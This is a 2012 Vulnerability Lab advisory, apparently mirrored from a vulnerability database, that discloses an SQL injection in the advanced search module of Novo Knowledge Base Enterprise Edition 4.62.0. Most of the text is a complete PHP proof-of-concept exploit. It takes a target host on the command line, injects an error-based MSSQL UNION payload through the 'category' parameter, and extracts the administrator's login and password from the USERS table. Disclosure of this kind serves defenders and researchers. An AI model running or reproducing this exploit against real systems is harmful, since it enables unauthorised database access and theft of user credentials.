Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:28709
HistoryOct 29, 2012 - 12:00 a.m.

Knowledge Base EE v4.62.0 - SQL Injection Vulnerability

2012-10-2900:00:00
vulners.com
357

Title:

Knowledge Base EE v4.62.0 - SQL Injection Vulnerability

Date:

2012-09-11

References:

http://www.vulnerability-lab.com/get_content.php?id=702

VL-ID:

702

Common Vulnerability Scoring System:

8.5

Introduction:

Knowledge Base Software, by Novo Solutions can be used in a variety of in-house and external application settings.
Our easy-to-use software is an ideal solution for small or Knowledge Base Softwarelarge organizations who need a central
repository to store information for Customer Support, Company Intranet, Employee Training, Document Management and more.

(copy from vendor website http://www.novosolutions.com/knowledge-base-software )

Abstract:

The Vulnerability Laboratory Research Team discovered a critical sql vulnerability in the Knowledge Base Enterprise Edition v4.62.0.

Report-Timeline:

2012-09-06: Researcher Notification & Coordination
2012-09-07: Vendor Notification
2012-00-00: Vendor Response/Feedback
2012-00-00: Vendor Fix/Patch
2012-00-00: Public or Non-Public Disclosure

Status:

Published

Exploitation-Technique:

Remote

Severity:

Critical

Details:

A SQL Injection vulnerability & a misconfiguration are detected in Knowledge Base Enterprise Edition 4.62.0.
The vulnerability allows an attacker (remote) or local low privileged user account to inject/execute own sql commands
on the affected application dbms without user inter action. The vulnerabilities are located in search module when processing
to request the category variable with selcategory argument. Successful exploitation of the vulnerability results in MSSQL dbms
& ASP application compromise.

Vulnerable File(s):
[+] doadvancedsearch.asp

Vulnerable Parameter(s):
[+] category

Condition
[+] selcategory - must be not NULL

Proof of Concept:

The sql injection vulnerability can be exploited by remote attackers without user inter action and without privilege user account.
For demonstration or reproduce …

Note:
In this report we have the Clause statement it a little bit hard to exploit it because of 90% non active responses with errors.
In order to exploit this vulnerability we need to use (CAST OR CONVERT) MSSQL functions to obtain result of our query in Conversion Error messages.

Query: CAST(USER_LOGIN AS NVARCHAR(4000)
Result: [Microsoft][ODBC SQL Server Driver][SQL Server]Conversion failed when converting the nvarchar value 'admin' to data type int.

In the proof of concept exploit we have to change and force the query to retrieve users credential from user database requests.

<?php
error_reporting(0);
/*

  • Software Knowledge Base Enterprise Edition < 4.62.00

  • Database: MS SQL

  • Description

  • Author Kami

  • Email [email protected]

  • Website http://www.kami.ma

  • vendor http://www.novosolutions.com/knowledge-base-software/

  • Exploitation-type MSSQL error-based using .

  • Exploitation-technique (CAST OR CONVERT) Via (WHERE or HAVING) clause.
    */

    /* Define Target Informations */

    $HOST=$argv[1];
    $URI ="/doadvancedsearch.asp";

    /* DATABASE Params */

    $TABLE ="USERS";
    $columns=array("USER_LOGIN","USER_PASSWORD");
    $evilSQL ="-6647) UNION ALL SELECT CHAR(107)+CHAR(97)+CHAR(109)+CHAR(105)+CHAR(58)+CHAR(58)+MAX(ISNULL(CAST({column_name} AS NVARCHAR(4000)),CHAR(32)))+CHAR(58)+CHAR(58)+CHAR(97)+CHAR(109)+CHAR(105) FROM USERS where USER_ID=1 – ";

    $Exploit= new Exploitcore();

    if($argc > 1) {
    echo "\n".'[+] Exploitation Start

                                                  &#92;&#92;&#92;
                                        .------.  /// 
                                        &#40;:::::::&#41;&#40;_&#41;&#40;&#41;:-
                                        &#96;------°  &#92;&#92;&#92;
                                  Exploit sent    ///
    

'."\n";

     if&#40;isset&#40;$argv[2]&#41;&#41;
         $URI=$argv[2].$URI;
     echo  &quot;[+] URL : &quot;.$argv[1].$argv[2].&quot;&#92;n&quot;;
         $n=1;
    foreach&#40;$columns as $column&#41;{

            $evilSQL   =&quot;-6647&#41;  UNION ALL SELECT CHAR&#40;107&#41;+CHAR&#40;97&#41;+CHAR&#40;109&#41;+CHAR&#40;105&#41;+CHAR&#40;58&#41;+CHAR&#40;58&#41;+MAX&#40;ISNULL&#40;CAST&#40;{column_name} AS NVARCHAR&#40;4000&#41;&#41;,CHAR&#40;32&#41;&#41;&#41;+CHAR&#40;58&#41;+CHAR&#40;58&#41;+CHAR&#40;97&#41;+CHAR&#40;109&#41;+CHAR&#40;105&#41; FROM USERS where USER_ID=1 --  &quot;;

            $evilSQL=str_replace&#40;&quot;{column_name}&quot;,$column,$evilSQL&#41;;

            $Payload=array&#40;
            &quot;advsearchwords&quot;=&gt;&quot;sds&quot;,
            &quot;selcategory&quot;=&gt;&quot;19&quot;,
            &quot;category&quot;=&gt;$evilSQL,
            &quot;operation&quot;=&gt;&quot;&#37;2B&quot;,
            &quot;limit&quot;=&gt;25,
            &quot;searchtype&quot;=&gt;1,
            &quot;enableExclude&quot;=&gt;1,
            &quot;enableInclude&quot;=&gt;1,
            &quot;daterange&quot;=&gt;0,
            &quot;id&quot;=&gt;5,
            &quot;btnAdvanced&quot;=&gt;1,
            &quot;Lang=&gt;1&quot;&#41;;
            
            
       
      echo   $reply=$Exploit-&gt;Requestor&#40;&#39;POST&#39;,$HOST,80, $URI,array&#40;&#41;,$Payload, array&#40;&#41;, array&#40;&#41;,1,false,false&#41;;
    
        if&#40;$Exploit-&gt;Retrive_DATA&#40;$reply&#41;== null&#41; {
            echo &quot;[-] Error : Target is not vulnerable&#92;n&quot;;
            exit&#40;-1&#41;;} 
            if&#40;$n==1&#41;{echo &quot;[+] Extracting Data .... &#92;n&#92;n&quot;;}
            echo &quot;[+] DATA:&quot;.$column .&quot;=&quot;.$Exploit-&gt;Retrive_DATA&#40;$reply&#41;.&quot;&#92;n&quot;;
            $n++;

    }        
     } else  $Exploit-&gt;Menu&#40;&#41;;

Class Exploitcore{

var $hostname,$Port,$Uri;
var $dynamic_payload;




public function Retrive_DATA&#40;$reply&#41;{
    
    preg_match_all&#40;&#39;#kami::&#40;.*?&#41;::ami#&#39;,$reply,$res&#41;;
    return $res[1][0];
}


public function Menu&#40;&#41;{

$hello='
.-"""-.
/ _ \
___ | (212) |
/\````````````"""""""\\\""====—…,_______ _ \ ^ /
\/////)))________)) "-…-"

                        Advanced  __-- SQL --__  injection
                        
                             Novo Knowledge Base
                             
      Credit  : Kami
      Email   : [email protected]  
      Website : www.kami.ma

Usage> php knowledgebase0day.php host
Exemple> php knowledgebase0day.php kbase.target.com
Exemple> php knowledgebase0day.php kbase.target.com /foo

';

    echo  $hello;
    
}

public function Requestor(
$verb = 'GET', /* HTTP Request Method (GET and POST supported) /
$ip, /
Target IP/Hostname /
$port = 80, /
Target TCP port /
$uri = '/', /
Target URI /
$getdata = array(), /
HTTP GET Data ie. array('var1' => 'val1', 'var2' => 'val2') /
$postdata = array(), /
HTTP POST Data ie. array('var1' => 'val1', 'var2' => 'val2') /
$cookie = array(), /
HTTP Cookie Data ie. array('var1' => 'val1', 'var2' => 'val2') /
$custom_headers = array(), /
Custom HTTP headers ie. array('Referer: http://localhost/ /
$timeout = 1, /
Socket timeout in seconds /
$req_hdr = true, /
Include HTTP request headers /
$res_hdr = true /
Include HTTP response headers */
)
{
$ret = '';
$verb = strtoupper($verb);
$cookie_str = '';
$getdata_str = count($getdata) ? '?' : '';
$postdata_str = '';

foreach &#40;$getdata as $k =&gt; $v&#41; 
            $getdata_str .= urlencode&#40;$k&#41; .&#39;=&#39;. urlencode&#40;$v&#41; . &#39;&amp;&#39;; 

foreach &#40;$postdata as $k =&gt; $v&#41; 
    $postdata_str .= urlencode&#40;$k&#41; .&#39;=&#39;. urlencode&#40;$v&#41; .&#39;&amp;&#39;; 

foreach &#40;$cookie as $k =&gt; $v&#41; 
    $cookie_str .= urlencode&#40;$k&#41; .&#39;=&#39;. urlencode&#40;$v&#41; .&#39;; &#39;; 

$crlf = &quot;&#92;r&#92;n&quot;; 
$req = $verb .&#39; &#39;. $uri . $getdata_str .&#39; HTTP/1.1&#39; . $crlf; 
$req .= &#39;Host: &#39;. $ip . $crlf; 
$req .= &#39;User-Agent: Mozilla/5.0 Firefox/3.6.12&#39; . $crlf; 
$req .= &#39;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&#39; . $crlf; 
$req .= &#39;Accept-Language: en-us,en;q=0.5&#39; . $crlf; 
$req .= &#39;Accept-Encoding: deflate&#39; . $crlf; 
$req .= &#39;Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&#39; . $crlf; 

foreach &#40;$custom_headers as $k =&gt; $v&#41; 
    $req .= $k .&#39;: &#39;. $v . $crlf; 
    
if &#40;!empty&#40;$cookie_str&#41;&#41; 
    $req .= &#39;Cookie: &#39;. substr&#40;$cookie_str, 0, -2&#41; . $crlf; 
    
if &#40;$verb == &#39;POST&#39; &amp;&amp; !empty&#40;$postdata_str&#41;&#41; 
{ 
    $postdata_str = substr&#40;$postdata_str, 0, -1&#41;; 
    $req .= &#39;Connection: Close&#39;. $crlf; 
    $req .= &#39;Content-Type: application/x-www-form-urlencoded&#39; . $crlf; 
    $req .= &#39;Content-Length: &#39;. strlen&#40;$postdata_str&#41; . $crlf . $crlf; 
    $req .= $postdata_str; 
 
} 
else { $req .= $crlf; }

if &#40;$req_hdr&#41; 
    $ret .= $req; 
   
if &#40;&#40;$fp = fsockopen&#40;$ip, $port, $errno, $errstr,1&#41;&#41; == false&#41; 
    return &quot;Error $errno: $errstr&#92;n&quot;; 

// stream_set_timeout($fp, 0, $timeout * 1000);

fwrite&#40;$fp, $req&#41;; 

while ($line = fgets($fp)) $ret .= $line;

    fclose &#40;$fp&#41;;




if &#40;!$res_hdr&#41; 
    $ret = substr&#40;$ret, strpos&#40;$ret, &quot;&#92;r&#92;n&#92;r&#92;n&quot;&#41; + 4&#41;; 

return $ret; 

}

}

Risk:

The security risk of the sql injection vulnerability is estimated as high.

Credits:

Vulnerability Laboratory [Research Team] - Karim H.B. ([email protected]) [www.kami.ma]

Disclaimer:

The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
or trade with fraud/stolen material.

Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.vulnerability-lab.com/register
Contact: [email protected] - [email protected] - [email protected]
Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
modify, use or edit our material contact ([email protected] or [email protected]) to get a permission.

				   	Copyright © 2012 | Vulnerability Laboratory

– VULNERABILITY RESEARCH LABORATORY LABORATORY RESEARCH TEAM CONTACT: [email protected]